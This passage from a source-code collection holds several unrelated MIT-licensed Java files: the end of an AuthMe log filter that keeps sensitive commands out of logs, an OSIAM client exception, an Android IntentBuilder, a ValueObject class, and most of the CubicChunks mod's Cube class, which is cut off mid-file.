* Validates a message and returns the {@link Result} value depending
* on whether the message contains sensitive AuthMe data.
*
* @param message
* The message to verify
*
* @return The Result value
*/
private static Result validateMessage(String message) {
return LogFilterHelper.isSensitiveAuthMeCommand(message)
? Result.DENY
: Result.NEUTRAL;
}
@Override
public Result filter(LogEvent event) {
Message candidate = null;
if (event != null) {
candidate = event.getMessage();
}
return validateMessage(candidate);
}
@Override
public Result filter(Logger logger, Level level, Marker marker, Message msg, Throwable t) {
return validateMessage(msg);
}
@Override
public Result filter(Logger logger, Level level, Marker marker, String msg, Object... params) {
return validateMessage(msg);
}
@Override
public Result filter(Logger logger, Level level, Marker marker, Object msg, Throwable t) {
String candidate = null;
if (msg != null) {
candidate = msg.toString();
}
return validateMessage(candidate);
}
}
| mit |
osiam/connector4java | src/main/java/org/osiam/client/exception/OsiamClientException.java | 1518 | /**
* The MIT License (MIT)
*
* Copyright (C) 2013-2016 tarent solutions GmbH
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
package org.osiam.client.exception;
public class OsiamClientException extends RuntimeException {
private static final long serialVersionUID = 5047126186987317227L;
public OsiamClientException(String message) {
super(message);
}
public OsiamClientException(String message, Throwable cause) {
super(message, cause);
}
}
| mit |
shibenli/intentbuilder | intentbuilder/src/main/java/intentbuilder/IntentBuilder.java | 10968 | /*
* The MIT License (MIT)
*
* Copyright (c) 2015 Roberto Estivill
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
package intentbuilder;
import android.annotation.TargetApi;
import android.app.Activity;
import android.app.Service;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.Parcelable;
import java.io.Serializable;
import java.util.ArrayList;
import static intentbuilder.PreConditions.validateContext;
import static intentbuilder.PreConditions.validateNotBlank;
import static intentbuilder.PreConditions.validateNotEmpty;
import static intentbuilder.PreConditions.validateNotNull;
public class IntentBuilder {
private Intent mIntent;
private Context mContext;
// //////////////////////
// Constructors
// //////////////////////
public IntentBuilder() {
mIntent = new Intent();
}
public IntentBuilder(Intent intent) {
mIntent = intent;
}
public IntentBuilder(String action) {
mIntent = new Intent(action);
}
public IntentBuilder(String action, Uri uri) {
mIntent = new Intent(action, uri);
}
public IntentBuilder(Context packageContext, Class<?> cls) {
mIntent = new Intent(packageContext, cls);
}
public IntentBuilder(String action, Uri uri, Context packageContext, Class<?> cls) {
mIntent = new Intent(action, uri, packageContext, cls);
}
// //////////////////////
// Builder methods
// //////////////////////
public IntentBuilder context(Context context) {
mContext = context;
return this;
}
public IntentBuilder action(String action) {
validateNotBlank(action, "Action");
mIntent.setAction(action);
return this;
}
public IntentBuilder service(Class<? extends Service> service) {
return setClass(service);
}
public IntentBuilder activity(Class<? extends Activity> activity) {
return setClass(activity);
}
public IntentBuilder receiver(Class<? extends BroadcastReceiver> receiver) {
return setClass(receiver);
}
public IntentBuilder component(ComponentName component) {
validateNotNull(component, "ComponentName");
mIntent.setComponent(component);
return this;
}
public IntentBuilder className(Context packageCtx, String className) {
validateNotNull(packageCtx, "Context");
validateNotBlank(className, "ClassName");
mIntent.setClassName(packageCtx, className);
return this;
}
public IntentBuilder className(String packageName, String className) {
validateNotBlank(packageName, "PackageName");
validateNotBlank(className, "ClassName");
mIntent.setClassName(packageName, className);
return this;
}
public IntentBuilder setPackage(String pack) {
validateNotBlank(pack, "Package");
mIntent.setPackage(pack);
return this;
}
public IntentBuilder flag(int flag) {
return flags(flag);
}
public IntentBuilder flags(int... flags) {
validateNotEmpty(flags, "Flags");
for (int flag : flags) {
mIntent.addFlags(flag);
}
return this;
}
public IntentBuilder extras(Bundle extras) {
validateNotNull(extras, "Extras bundle");
mIntent.putExtras(extras);
return this;
}
public IntentBuilder extras(Intent intent) {
validateNotNull(intent, "Intent");
mIntent.putExtras(intent);
return this;
}
public IntentBuilder data(Uri data) {
validateNotNull(data, "Data Uri");
mIntent.setData(data);
return this;
}
@TargetApi(Build.VERSION_CODES.JELLY_BEAN)
public IntentBuilder dataNormalize(Uri data) {
validateNotNull(data, "Data");
mIntent.setDataAndNormalize(data);
return this;
}
public IntentBuilder type(String type) {
validateNotBlank(type, "Type");
mIntent.setType(type);
return this;
}
@TargetApi(Build.VERSION_CODES.JELLY_BEAN)
public IntentBuilder typeNormalize(String type) {
validateNotBlank(type, "Type");
mIntent.setTypeAndNormalize(type);
return this;
}
// //////////////////////
// Primitive extras
// //////////////////////
public IntentBuilder extra(String name, boolean value) {
validateNotBlank(name, "Name");
mIntent.putExtra(name, value);
return this;
}
public IntentBuilder extra(String name, byte value) {
validateNotBlank(name, "Name");
mIntent.putExtra(name, value);
return this;
}
public IntentBuilder extra(String name, char value) {
validateNotBlank(name, "Name");
mIntent.putExtra(name, value);
return this;
}
public IntentBuilder extra(String name, double value) {
validateNotBlank(name, "Name");
mIntent.putExtra(name, value);
return this;
}
public IntentBuilder extra(String name, float value) {
validateNotBlank(name, "Name");
mIntent.putExtra(name, value);
return this;
}
public IntentBuilder extra(String name, int value) {
validateNotBlank(name, "Name");
mIntent.putExtra(name, value);
return this;
}
public IntentBuilder extra(String name, long value) {
validateNotBlank(name, "Name");
mIntent.putExtra(name, value);
return this;
}
public IntentBuilder extra(String name, short value) {
validateNotBlank(name, "Name");
mIntent.putExtra(name, value);
return this;
}
public IntentBuilder extra(String name, String value) {
validateNotBlank(name, "Name");
validateNotNull(value, "Value");
mIntent.putExtra(name, value);
return this;
}
// //////////////////////
// Primitive Arrays extras
// //////////////////////
public IntentBuilder extra(String name, byte[] value) {
validateNotBlank(name, "Name");
validateNotEmpty(value, "Value");
mIntent.putExtra(name, value);
return this;
}
public IntentBuilder extra(String name, boolean[] value) {
validateNotBlank(name, "Name");
validateNotEmpty(value, "Value");
mIntent.putExtra(name, value);
return this;
}
public IntentBuilder extra(String name, char[] value) {
validateNotBlank(name, "Name");
validateNotEmpty(value, "Value");
mIntent.putExtra(name, value);
return this;
}
public IntentBuilder extra(String name, double[] value) {
validateNotBlank(name, "Name");
validateNotEmpty(value, "Value");
mIntent.putExtra(name, value);
return this;
}
public IntentBuilder extra(String name, float[] value) {
validateNotBlank(name, "Name");
validateNotEmpty(value, "Value");
mIntent.putExtra(name, value);
return this;
}
public IntentBuilder extra(String name, int[] value) {
validateNotBlank(name, "Name");
validateNotEmpty(value, "Value");
mIntent.putExtra(name, value);
return this;
}
public IntentBuilder extra(String name, long[] value) {
validateNotBlank(name, "Name");
validateNotEmpty(value, "Value");
mIntent.putExtra(name, value);
return this;
}
public IntentBuilder extra(String name, short[] value) {
validateNotBlank(name, "Name");
validateNotEmpty(value, "Value");
mIntent.putExtra(name, value);
return this;
}
// //////////////////////
// Object extras
// //////////////////////
public IntentBuilder extra(String name, Bundle value) {
validateNotBlank(name, "Name");
validateNotNull(value, "Value");
mIntent.putExtra(name, value);
return this;
}
public IntentBuilder extra(String name, CharSequence value) {
validateNotBlank(name, "Name");
validateNotBlank(value, "Value");
mIntent.putExtra(name, value);
return this;
}
public IntentBuilder extra(String name, Parcelable value) {
validateNotBlank(name, "Name");
validateNotNull(value, "Value");
mIntent.putExtra(name, value);
return this;
}
public IntentBuilder extra(String name, Serializable value) {
validateNotBlank(name, "Name");
validateNotNull(value, "Value");
mIntent.putExtra(name, value);
return this;
}
// //////////////////////
// Object collections extras
// //////////////////////
public IntentBuilder extra(String name, CharSequence[] value) {
validateNotBlank(name, "Name");
validateNotEmpty(value, "Value");
mIntent.putExtra(name, value);
return this;
}
public IntentBuilder extra(String name, Parcelable[] value) {
validateNotBlank(name, "Name");
validateNotEmpty(value, "Value");
mIntent.putExtra(name, value);
return this;
}
public IntentBuilder extra(String name, String[] value) {
validateNotBlank(name, "Name");
validateNotEmpty(value, "Value");
mIntent.putExtra(name, value);
return this;
}
public IntentBuilder extraCharSequenceList(String name, ArrayList<CharSequence> value) {
validateNotBlank(name, "Name");
validateNotEmpty(value, "Value");
mIntent.putExtra(name, value);
return this;
}
public IntentBuilder extraIntegerList(String name, ArrayList<Integer> value) {
validateNotBlank(name, "Name");
validateNotEmpty(value, "Value");
mIntent.putExtra(name, value);
return this;
}
public IntentBuilder extraParcelableList(String name, ArrayList<? extends Parcelable> value) {
validateNotBlank(name, "Name");
validateNotEmpty(value, "Value");
mIntent.putExtra(name, value);
return this;
}
public IntentBuilder extraStringList(String name, ArrayList<String> value) {
validateNotBlank(name, "Name");
validateNotEmpty(value, "Value");
mIntent.putExtra(name, value);
return this;
}
// //////////////////////
// Return the intent
// //////////////////////
public Intent build() {
return mIntent;
}
// //////////////////////
// Private methods
// //////////////////////
private IntentBuilder setClass(Class<?> cls) {
validateContext(mContext);
validateNotNull(cls, "Class<?>");
mIntent.setClass(mContext, cls);
return this;
}
}
| mit |
vaxr/daikoku | src/com/primateer/daikoku/model/ValueObject.java | 642 | package com.primateer.daikoku.model;
public class ValueObject {
private long id = -1;
public long getId() {
return id;
}
public long setId(long id) {
this.id = id;
return id;
}
@Override
public int hashCode() {
final int prime = 31;
int result = 1;
result = prime * result + (int) (id ^ (id >>> 32));
return result;
}
@Override
public boolean equals(Object obj) {
if (!(obj instanceof ValueObject)) {
return false;
}
if (this == obj)
return true;
if (getClass() != obj.getClass())
return false;
ValueObject other = (ValueObject) obj;
if (id != other.id)
return false;
return true;
}
}
| mit |
Barteks2x/CubicChunks | src/main/java/io/github/opencubicchunks/cubicchunks/core/world/cube/Cube.java | 25754 | /*
* This file is part of Cubic Chunks Mod, licensed under the MIT License (MIT).
*
* Copyright (c) 2015-2019 OpenCubicChunks
* Copyright (c) 2015-2019 contributors
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package io.github.opencubicchunks.cubicchunks.core.world.cube;
import io.github.opencubicchunks.cubicchunks.api.util.Coords;
import io.github.opencubicchunks.cubicchunks.api.util.CubePos;
import io.github.opencubicchunks.cubicchunks.api.world.CubeEvent;
import io.github.opencubicchunks.cubicchunks.api.world.IColumn;
import io.github.opencubicchunks.cubicchunks.api.world.ICube;
import io.github.opencubicchunks.cubicchunks.api.world.ICubicWorld;
import io.github.opencubicchunks.cubicchunks.api.world.IHeightMap;
import io.github.opencubicchunks.cubicchunks.api.worldgen.CubePrimer;
import io.github.opencubicchunks.cubicchunks.api.worldgen.ICubeGenerator;
import io.github.opencubicchunks.cubicchunks.core.CubicChunks;
import io.github.opencubicchunks.cubicchunks.core.asm.mixin.ICubicWorldInternal;
import io.github.opencubicchunks.cubicchunks.core.lighting.LightingManager;
import io.github.opencubicchunks.cubicchunks.core.util.AddressTools;
import io.github.opencubicchunks.cubicchunks.core.util.CompatHandler;
import io.github.opencubicchunks.cubicchunks.core.util.ticket.ITicket;
import io.github.opencubicchunks.cubicchunks.core.util.ticket.TicketList;
import io.github.opencubicchunks.cubicchunks.core.world.EntityContainer;
import mcp.MethodsReturnNonnullByDefault;
import net.minecraft.block.Block;
import net.minecraft.block.material.Material;
import net.minecraft.block.state.IBlockState;
import net.minecraft.entity.Entity;
import net.minecraft.init.Blocks;
import net.minecraft.tileentity.TileEntity;
import net.minecraft.util.ClassInheritanceMultiMap;
import net.minecraft.util.EnumFacing;
import net.minecraft.util.math.BlockPos;
import net.minecraft.world.EnumSkyBlock;
import net.minecraft.world.World;
import net.minecraft.world.biome.Biome;
import net.minecraft.world.chunk.Chunk;
import net.minecraft.world.chunk.storage.ExtendedBlockStorage;
import net.minecraftforge.event.world.ChunkEvent;
import javax.annotation.Nonnull;
import javax.annotation.Nullable;
import javax.annotation.ParametersAreNonnullByDefault;
import java.util.HashMap;
import java.util.Map;
import java.util.Random;
import java.util.concurrent.ConcurrentLinkedQueue;
import java.util.function.BooleanSupplier;
import static io.github.opencubicchunks.cubicchunks.api.util.Coords.*;
import static net.minecraftforge.common.MinecraftForge.*;
/**
* A cube is our extension of minecraft's chunk system to three dimensions. Each cube encloses a cubic area in the world
* with a side length of {@link Cube#SIZE}, aligned to multiples of that length and stored within columns.
*/
@ParametersAreNonnullByDefault
@MethodsReturnNonnullByDefault
public class Cube implements ICube {
@Nullable
protected static final ExtendedBlockStorage NULL_STORAGE = null;
@Nullable
private byte[] blockBiomeArray = null;
/**
* Tickets keep this chunk loaded and ticking. See the docs of {@link TicketList} and {@link ITicket} for additional information.
*/
@Nonnull
private final TicketList tickets; // tickets prevent this Cube from being unloaded
/**
* Has anything within the cube changed since it was loaded from disk?
*/
private boolean isModified = false;
/**
* Has the cube generator's populate() method been called for this cube?
*/
private boolean isPopulated = false;
/**
* Has the cube generator's populate() method been called for every cube potentially writing to this cube during
* population?
*/
private boolean isFullyPopulated = false;
/**
* Has the initial light map been calculated?
*/
private boolean isInitialLightingDone = false;
/**
* Do neighbor need a sky light update when it is loaded?
*/
public boolean[] edgeNeedSkyLightUpdate = new boolean[6];
/**
* The world of this cube
*/
@Nonnull
private final World world;
/**
* The column of this cube
*/
@Nonnull
private final Chunk column;
/**
* The position of this cube, in cube space
*/
@Nonnull
private final CubePos coords;
/**
* Blocks in this cube
*/
@Nullable
private ExtendedBlockStorage storage;
/**
* Entities in this cube
*/
@Nonnull
private final EntityContainer entities;
/**
* The position of tile entities in this cube, and their corresponding tile entity
*/
@Nonnull
private final Map<BlockPos, TileEntity> tileEntityMap;
/**
* The positions of tile entities queued for creation
*/
@Nonnull
private final ConcurrentLinkedQueue<BlockPos> tileEntityPosQueue;
private final LightingManager.CubeLightUpdateInfo cubeLightUpdateInfo;
/**
* Is this cube loaded and not queued for unload
*/
private boolean isCubeLoaded;
/**
* Contains the current Linear Congruential Generator seed for block updates. Used with an A value of 3 and a C
* value of 0x3c6ef35f, producing a highly planar series of values ill-suited for choosing random blocks in a
* 16x16x16 field.
*/
protected int updateLCG = (new Random()).nextInt();
/**
* True only if all the blocks have been added to server height map. Always true clientside.
*/
private boolean isSurfaceTracked = true;
private boolean ticked = false;
/**
* This is used as an optimization to avoid putting all the cubes to tick in a set (which turns out to be very slow because of huge amount of
* cubes), or iterating over all loaded cubes, which can also be very expensive in case of very big render distance, where not many cubes are
* actually ticked, but hundreds of thousands of them can be loaded.
* <p>
* Instead, cubes for players are added into a simple arraylist, and forced cubes are iterated separately, and double-ticking is avoided by
* checking this lastTicked field instead of deduplication by putting them all into a Set.
*/
private long lastTicked = Long.MIN_VALUE;
/**
* Create a new cube in the specified column at the specified location. The newly created cube will only contain air
* blocks.
*
* @param column column of this cube
* @param cubeY cube y position
*/
public Cube(Chunk column, int cubeY) {
this.world = column.getWorld();
this.column = column;
this.coords = new CubePos(column.x, cubeY, column.z);
this.tickets = new TicketList(this);
this.entities = new EntityContainer();
this.tileEntityMap = new HashMap<>();
this.tileEntityPosQueue = new ConcurrentLinkedQueue<>();
this.cubeLightUpdateInfo = ((ICubicWorldInternal) world).getLightingManager().createCubeLightUpdateInfo(this);
this.storage = NULL_STORAGE;
}
/**
* Create a new cube at the specified location by copying blocks from a cube primer.
*
* @param column column of this cube
* @param cubeY cube y position
* @param primer primer containing the blocks for this cube
*/
@SuppressWarnings("deprecation") // when a block is generated, does it really have any extra
// information it could give us about its opacity by knowing its location?
public Cube(Chunk column, int cubeY, CubePrimer primer) {
this(column, cubeY);
int miny = cubeToMinBlock(cubeY);
IHeightMap opindex = ((IColumn) column).getOpacityIndex();
for (int x = 0; x < Cube.SIZE; x++) {
for (int z = 0; z < Cube.SIZE; z++) {
for (int y = Cube.SIZE - 1; y >= 0; y--) {
IBlockState newstate = primer.getBlockState(x, y, z);
if (newstate.getMaterial() != Material.AIR) {
if (storage == NULL_STORAGE) {
newStorage();
}
storage.set(x, y, z, newstate);
if (newstate.getLightOpacity() != 0) {
column.setModified(true); //TODO: this is a bit of am abstraction leak... maybe ServerHeightMap needs its own isModified
opindex.onOpacityChange(x, miny + y, z, newstate.getLightOpacity());
}
}
}
}
}
if (primer.hasBiomes()) {
for (int biomeX = 0; biomeX < 8; biomeX++) {
for (int biomeZ = 0; biomeZ < 8; biomeZ++) {
int primerBiomeX = biomeX / 2;
int primerBiomeZ = biomeZ / 2;
setBiome(biomeX, biomeZ, primer.getBiome(primerBiomeX, 0, primerBiomeZ));
}
}
}
isSurfaceTracked = true;
isModified = true;
}
/**
* Constructor to be used from subclasses to provide all field values
*/
protected Cube(TicketList tickers, World world, Chunk column, CubePos coords, ExtendedBlockStorage storage,
EntityContainer entities, Map<BlockPos, TileEntity> tileEntityMap,
ConcurrentLinkedQueue<BlockPos> tileEntityPosQueue, LightingManager.CubeLightUpdateInfo lightInfo) {
this.tickets = tickers;
this.world = world;
this.column = column;
this.coords = coords;
this.storage = storage;
this.entities = entities;
this.tileEntityMap = tileEntityMap;
this.tileEntityPosQueue = tileEntityPosQueue;
this.cubeLightUpdateInfo = lightInfo;
}
//======================================
//========Chunk vanilla methods=========
//======================================
@Override
public IBlockState getBlockState(BlockPos pos) {
return this.getBlockState(pos.getX(), pos.getY(), pos.getZ());
}
@Override
@Nullable
public IBlockState setBlockState(BlockPos pos, IBlockState newstate) {
return column.setBlockState(pos, newstate);
}
@Override
public IBlockState getBlockState(int blockX, int localOrBlockY, int blockZ) {
if (storage == NULL_STORAGE) {
return Blocks.AIR.getDefaultState();
}
return storage.get(blockToLocal(blockX), blockToLocal(localOrBlockY), blockToLocal(blockZ));
}
@Override
public int getLightFor(EnumSkyBlock lightType, BlockPos pos) {
return column.getLightFor(lightType, pos);
}
@Override
public void setLightFor(EnumSkyBlock lightType, BlockPos pos, int light) {
column.setLightFor(lightType, pos, light);
}
/**
* Create a tile entity at the given position if the block is able to hold one
*
* @param pos position where the tile entity should be placed
* @return the created tile entity, or <code>null</code> if the block at that position does not provide tile
* entities
*/
@Nullable
private TileEntity createTileEntity(BlockPos pos) {
IBlockState blockState = getBlockState(pos);
Block block = blockState.getBlock();
if (block.hasTileEntity(blockState)) {
return block.createTileEntity((World) this.world, blockState);
}
return null;
}
@Override
@Nullable
public TileEntity getTileEntity(BlockPos pos, Chunk.EnumCreateEntityType createType) {
return column.getTileEntity(pos, createType);
}
// have a copy of addTileEntity in Cube because sometimes some mods will access blocks from outside of
// the cube being loaded while loading it's tile entity, causing a StackOverflowError when the cube set at
// the start of loading TEs in column gets changed.
@Override
public void addTileEntity(TileEntity tileEntityIn) {
this.addTileEntity(tileEntityIn.getPos(), tileEntityIn);
if (this.isCubeLoaded) {
this.world.addTileEntity(tileEntityIn);
}
}
private void addTileEntity(BlockPos pos, TileEntity tileEntityIn) {
if (tileEntityIn.getWorld() != this.world) { //Forge don't call unless it's changed, could screw up bad mods.
tileEntityIn.setWorld(this.world);
}
tileEntityIn.setPos(pos);
if (this.getBlockState(pos).getBlock().hasTileEntity(this.getBlockState(pos))) {
if (this.tileEntityMap.containsKey(pos)) {
this.tileEntityMap.get(pos).invalidate();
}
tileEntityIn.validate();
this.tileEntityMap.put(pos, tileEntityIn);
}
}
/**
* Update light and tile entities of cube
*
* @param tryToTickFaster Whether costly calculations should be skipped in order to catch up with ticks
*/
public void tickCubeCommon(BooleanSupplier tryToTickFaster) {
this.ticked = true;
while (!this.tileEntityPosQueue.isEmpty()) {
BlockPos blockpos = this.tileEntityPosQueue.poll();
IBlockState state = this.getBlockState(blockpos);
Block block = state.getBlock();
if (this.getTileEntity(blockpos, Chunk.EnumCreateEntityType.CHECK) == null &&
block.hasTileEntity(state)) {
TileEntity tileentity = this.createTileEntity(blockpos);
this.world.setTileEntity(blockpos, tileentity);
this.world.markBlockRangeForRenderUpdate(blockpos, blockpos);
}
}
if (this.cubeLightUpdateInfo != null && this.cubeLightUpdateInfo.hasUpdates() && !tryToTickFaster.getAsBoolean()) {
this.cubeLightUpdateInfo.tick();
}
}
/**
* Tick this cube on server side. Block tick updates launched here.
*
* @param tryToTickFaster - returns true when running out of reserved tick time
* @param rand - World specific Random
*/
public void tickCubeServer(BooleanSupplier tryToTickFaster, Random rand) {
if (!isFullyPopulated) {
return;
}
tickCubeCommon(tryToTickFaster);
}
/**
* @return biome or null if {@link #blockBiomeArray} is not generated by
* cube generator
*/
@Override
public Biome getBiome(BlockPos pos) {
if (this.blockBiomeArray == null)
return this.getColumn().getBiome(pos, world.getBiomeProvider());
int biomeX = Coords.blockToBiome(pos.getX());
int biomeZ = Coords.blockToBiome(pos.getZ());
int biomeId = this.blockBiomeArray[AddressTools.getBiomeAddress(biomeX, biomeZ)] & 255;
Biome biome = Biome.getBiome(biomeId);
return biome;
}
@Override
public void setBiome(int localBiomeX, int localBiomeZ, Biome biome) {
if (this.blockBiomeArray == null)
this.blockBiomeArray = new byte[8 * 8];
this.blockBiomeArray[AddressTools.getBiomeAddress(localBiomeX, localBiomeZ)] = (byte) Biome.REGISTRY.getIDForObject(biome);
}
@Nullable
public byte[] getBiomeArray() {
return this.blockBiomeArray;
}
public void setBiomeArray(byte[] biomeArray) {
if (this.blockBiomeArray == null)
this.blockBiomeArray = biomeArray;
if (this.blockBiomeArray.length != biomeArray.length) {
CubicChunks.LOGGER.warn("Could not set level cube biomes, array length is {} instead of {}", Integer.valueOf(biomeArray.length),
Integer.valueOf(this.blockBiomeArray.length));
} else {
System.arraycopy(biomeArray, 0, this.blockBiomeArray, 0, this.blockBiomeArray.length);
}
}
//=================================
//=========Other methods===========
//=================================
@Override
public boolean isEmpty() {
return storage == null || this.storage.isEmpty();
}
@Override
public BlockPos localAddressToBlockPos(int localAddress) {
int x = localToBlock(this.coords.getX(), AddressTools.getLocalX(localAddress));
int y = localToBlock(this.coords.getY(), AddressTools.getLocalY(localAddress));
int z = localToBlock(this.coords.getZ(), AddressTools.getLocalZ(localAddress));
return new BlockPos(x, y, z);
}
public <T extends World & ICubicWorld> T getWorld() {
return (T) this.world;
}
@Override
public <T extends Chunk & IColumn> T getColumn() {
return (T) this.column;
}
@Override
public int getX() {
return this.coords.getX();
}
@Override
public int getY() {
return this.coords.getY();
}
@Override
public int getZ() {
return this.coords.getZ();
}
@Override
public CubePos getCoords() {
return this.coords;
}
@Override
public boolean containsBlockPos(BlockPos blockPos) {
return this.coords.getX() == blockToCube(blockPos.getX())
&& this.coords.getY() == blockToCube(blockPos.getY())
&& this.coords.getZ() == blockToCube(blockPos.getZ());
}
@Override
@Nullable
public ExtendedBlockStorage getStorage() {
return this.storage;
}
@Nullable
public ExtendedBlockStorage setStorage(@Nullable ExtendedBlockStorage ebs) {
this.isModified = true;
return this.storage = ebs;
}
private void newStorage() {
storage = new ExtendedBlockStorage(cubeToMinBlock(getY()), world.provider.hasSkyLight());
}
@Override
public Map<BlockPos, TileEntity> getTileEntityMap() {
return this.tileEntityMap;
}
@Override
public ClassInheritanceMultiMap<Entity> getEntitySet() {
return this.entities.getEntitySet();
}
@Override
public void addEntity(Entity entity) {
this.entities.addEntity(entity);
}
@Override
public boolean removeEntity(Entity entity) {
return this.entities.remove(entity);
}
public EntityContainer getEntityContainer() {
return this.entities;
}
/**
* Returns true if the cube still needs to be ticked this tick.
*/
public boolean checkAndUpdateTick(long totalTime) {
boolean ret = totalTime != this.lastTicked;
this.lastTicked = totalTime;
return ret;
}
/**
* Finish the cube loading process
*/
public void onLoad() {
if (isCubeLoaded) {
CubicChunks.LOGGER.error("Attempting to load already loaded cube at " + this.getCoords());
return;
}
// tell the world about tile entities
this.world.addTileEntities(this.tileEntityMap.values());
this.world.loadEntities(this.entities.getEntities());
this.isCubeLoaded = true;
if (!isSurfaceTracked) {
trackSurface();
}
CompatHandler.onCubeLoad(new ChunkEvent.Load(getColumn()));
EVENT_BUS.post(new CubeEvent.Load(this));
}
@SuppressWarnings("deprecation")
private void trackSurface() {
IHeightMap opindex = ((IColumn) column).getOpacityIndex();
int miny = getCoords().getMinBlockY();
for (int x = 0; x < Cube.SIZE; x++) {
for (int z = 0; z < Cube.SIZE; z++) {
for (int y = Cube.SIZE - 1; y >= 0; y--) {
IBlockState newstate = this.getBlockState(x, y, z);
column.setModified(true); //TODO: maybe ServerHeightMap needs its own isModified?
opindex.onOpacityChange(x, miny + y, z, newstate.getLightOpacity());
}
}
}
isSurfaceTracked = true;
}
/**
* Mark this cube as no longer part of this world
*/
public void onUnload() {
if (!isCubeLoaded) {
CubicChunks.LOGGER.error("Attempting to unload already unloaded cube at " + this.getCoords());
return;
}
//first mark as unloaded so that entity list and tile entity map isn't modified while iterating
//and it also preserves all entities/time entities so they can be saved
this.isCubeLoaded = false;
// tell the world to forget about entities
this.world.unloadEntities(this.entities.getEntities());
for (Entity entity : this.entities.getEntities()) {
//CHECKED: 1.10.2-12.18.1.2092
entity.addedToChunk = false; // World tries to remove entities from Cubes
// if (addedToCube || Column is loaded)
// so we need to set addedToChunk to false as a hack!
// else World would reload this Cube!
}
// tell the world to forget about tile entities
for (TileEntity blockEntity : this.tileEntityMap.values()) {
this.world.markTileEntityForRemoval(blockEntity);
}
EVENT_BUS.post(new CubeEvent.Unload(this));
}
@Override
public boolean needsSaving() {
return this.entities.needsSaving(true, this.world.getTotalWorldTime(), this.isModified);
}
/**
* Mark this cube as saved to disk
*/
public void markSaved() {
this.entities.markSaved(this.world.getTotalWorldTime());
this.isModified = false;
}
/**
* Mark this cube as one, who need to be saved to disk
*/
public void markDirty() {
this.isModified = true;
}
/**
* Retrieve a list of tickets currently holding this cube loaded
*
* @return the list of tickets
*/
public TicketList getTickets() {
return tickets;
}
public void markForRenderUpdate() {
this.world.markBlockRangeForRenderUpdate(
cubeToMinBlock(this.coords.getX()), cubeToMinBlock(this.coords.getY()), cubeToMinBlock(this.coords.getZ()),
cubeToMaxBlock(this.coords.getX()), cubeToMaxBlock(this.coords.getY()), cubeToMaxBlock(this.coords.getZ())
);
}
@Nullable
public LightingManager.CubeLightUpdateInfo getCubeLightUpdateInfo() {
return this.cubeLightUpdateInfo;
}
/**
* Mark this cube as a client side cube. Less work is done in this case, as we expect to receive updates from the
* server
*/
public void setClientCube() {
this.isPopulated = true;
this.isFullyPopulated = true;
this.isInitialLightingDone = true;
this.isSurfaceTracked = true;
this.ticked = true;
}
@Override
public boolean isPopulated() {
return isPopulated;
}
/**
* Mark this cube as populated. This means that this cube was passed as argument to
* {@link ICubeGenerator#populate(ICube)}. Check there for more information regarding
* population.
*
* @param populated whether this cube was populated
*/
public void setPopulated(boolean populated) {
this.isPopulated = populated;
this.isModified = true;
}
@Override
public boolean isFullyPopulated() {
return this.isFullyPopulated;
}
/**
* Mark this cube as fully populated. This means that any cube potentially writing to this cube was passed as an
* argument to {@link ICubeGenerator#populate(ICube)}. Check there for more
* information regarding population
*
* @param populated whether this cube was fully populated
*/
public void setFullyPopulated(boolean populated) {
this.isFullyPopulated = populated;
this.isModified = true;
}
/**
* Sets internal isSurfaceTracked value. Intended to be used only for deserialization.
*/
public void setSurfaceTracked(boolean value) {
this.isSurfaceTracked = value;
}
@Override
public boolean isSurfaceTracked() {
return this.isSurfaceTracked;
}
@Override
public boolean isInitialLightingDone() {
return isInitialLightingDone;
}
/**
